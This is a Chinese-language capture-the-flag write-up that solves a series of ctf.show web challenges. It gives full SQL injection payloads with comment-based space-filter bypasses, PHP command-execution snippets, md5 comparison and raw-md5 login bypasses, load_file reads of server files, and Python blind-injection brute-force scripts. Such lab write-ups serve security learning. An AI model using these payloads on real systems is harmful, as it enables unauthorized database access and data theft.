1.web签到题
1.进入环境后,界面只有一句话,查看界面源码,会发现一段base64
2.base64解码后得到flag
2.web2
1.SQL注入题,在用户名和密码随便挑一个位置进行注入
2.爆数据库名(这步可以跳过)(以下均为使用hackbar的payload格式)
username=' or 1=1 union select 1,database(),3 #--&password=123
3.爆表名
username=' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()),3 #--&password=123
4.取列名
username=' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= database() and table_name='flag'),3 #--&password=123
5.取数据,得到flag
username=' or 1=1 union select 1,(select group_concat(flag) from flag),3 #--&password=123
3.web3
1.得到一段代码,简单意思就是要通过get的方式得到名为url的数据
3.加一行代码检查文件结构
<?php system("ls");?>
4.得到一个新的文件ctf_go_go_go,再用代码cat以下,得到flag
<?php system("cat ctf_go_go_go");?>
4.web5
1.得到一堆代码,看最重要的那部分
2.审计一下,得知#if(isset($v1) && isset($v2))为确定v1,v2都不是空
if(!ctype_alpha($v1))为保证v1中全都是字母
if(!is_numeric($v2))为保证v2都是数字
if(md5($v1)==md5($v2))为保证md5加密后v1和v2相等(相等的md5之前总结过)
v1、v2都是get形式上传,构造payload,得到flag
http://fbe9064b-e872-4e67-b4ea-5a90c21ee601.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
5.web6
1.得到登陆界面,尝试注入一下,回显报错
2.可能是有东西被绕过了,尝试替换,使用/**/ 替换空格,可以正常回显了
username='/**/or/**/1=1/**/union/**/select/**/1,database(),3/**/#--&password=123
3.爆表
username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=/**/database()),3/**/#--&password=123
4.爆列名
username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=/**/database()/**/and/**/table_name/**/=/**/"flag"),3/**/#--&password=123
5.取数据
username='/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3/**/#--&password=123
6.web7
1.得到一个列表,随机点开一个会发现url末尾出现了id,猜测这个就是注入点,同时会注意到空格被绕过了(因为普通的语句注入后没有显示)
2.爆表名
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()),3/**/#
3.爆列名
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/=/**/database()/**/and/**/table_name/**/=/**/"flag"),3/**/#
4.找出数据
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3/**/#
5.得到flag,此题主要考的就是使用/**/解决绕过空格的问题
7.web8
1.环境长得和之前的那个很像,注入试一下,回显报错
2.可知不是空格绕过,或者有多个绕过,使用脚本脱库(脚本编写参考了网上的WP)
3.爆表名
点击查看代码
#爆表名
import requests
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz" # 测试字符
url = "http://173c72fd-e308-45b1-a942-d72d084aaeca.challenge.ctf.show/index.php" # 地址
for n in range(0, 2): # 前两个表
table_name = ''
for i in range(1, 10): # 爆破数前十位(猜测该表名长度低于十位)
for char in chars: # 测试每一个待测字符
params = {
"id":
"-1/**/or/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database())/**/limit/**/1/**/offset/**/" + str(
n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
}
r = requests.get(url=url, params=params)
# print(r.request.url)
if "If" in r.text:
table_name += char
print(table_name)
4.爆列名
点击查看代码
#爆列名
import requests
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://173c72fd-e308-45b1-a942-d72d084aaeca.challenge.ctf.show/index.php"
for n in range(0, 1):
table_name = ''
for i in range(1, 10):
for char in chars:
params = {
"id":
"-1/**/or/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167)/**/limit/**/1/**/offset/**/" + str(
n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
}
r = requests.get(url=url, params=params)
# print(r.request.url)
if "If" in r.text:
table_name += char
print(table_name)
5.爆字符值
点击查看代码
#爆字段值
import requests
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://f631c656-f73c-4b3e-bbfa-0bacfbf6dab0.challenge.ctf.show/index.php"
for n in range(0, 1):
table_name = ''
for i in range(1, 50):
for char in chars:
params = {
"id":
"-1/**/or/**/ord(mid((select/**/flag/**/from/**/flag/**/limit/**/1/**/offset/**/" + str(
n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
}
r = requests.get(url=url, params=params)
# print(r.request.url)
if "If" in r.text:
table_name += char
print(table_name)
得到flag
8.web9
1.下载index.phps文件,010打开,发现密码是md5加密
2.md5加密绕过,即为使password为ffifdyop,因为其md5加密后为276f722736c95d99e921722cf9ed621c,再UTF8编码后得到的就是'or'6É]é!r,ùíb,后面的乱码不用管,主要是前面的'or'6就直接绕过了password
3.得到flag
9.web10
1.下载index.phps文件,查看关键函数
2.思路就是主要通过两个函数进行绕过,并使密码为空,一是:group by:表示对相同的数据进行一个分组的汇总,二是:with rollup:对分组的数据进行统计,构造payload
username=' or 1=1 group by password with rollup #&password=
3.此时会回显报错,猜测是空格被绕过吗,使用/**/代替空格
username='/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**//**/#&password=
4.现实登陆成功得到flag
10.web11
1.界面直接给出代码,审计可得,关键函数差不多都注释掉了
2.最有用的if:if($password==$_SESSION['password']),可知,验证的就是上传的password和本地存储的password是否相同,那么就猜想是否可以将本地存储的password删去,F12,查看本地存储,右键清除
11.web12
1.得到的只有一句话,查看页面源码,得到了一个hint,cmd
2.那就是以cmd为参数进行查询,首先对index.php文件进行高亮显示
?cmd=highlight_file("index.php");
3.看到了传输cmd的命令,证明猜想是对的
?cmd=print_r(glob("*"));
5.找到了一个名字好长的文件,应该就是这个,hightlight_file显示
?cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
6.得到flag
12.web14
1.进入环境后,界面显示的是代码,审计后明白,简单来说就是根据以get形式传输的C的值,回显出对应的额内容,并且因为使用了sleep()函数,所以c的值决定了延迟的秒数
2.尝试传输一下3,找到了新的提示
3.访问here_1s_your_f1ag.php界面,发现是登录界面
4.查看界面源码,发现了传输的参数名
5.然后就是常规的步骤,爆表名、字段名、字段值,但是最后弄出来的是一句没用的话
6.换种思路,猜测是不是secret.php有用,直接访问显示空白,查看源码也没有东西
7.尝试使用load_file()通过文件目录读取文件(apache的默认网站根路径是 /var/www/html)
here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")
8.发现还是没有变化,查看源码(直接右键会发现没有这个选项,可能是被禁止了,直接在URL前面加上view-source:,发现新的提示
9.接着访问/real_flag_is_here
/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")
10.得到flag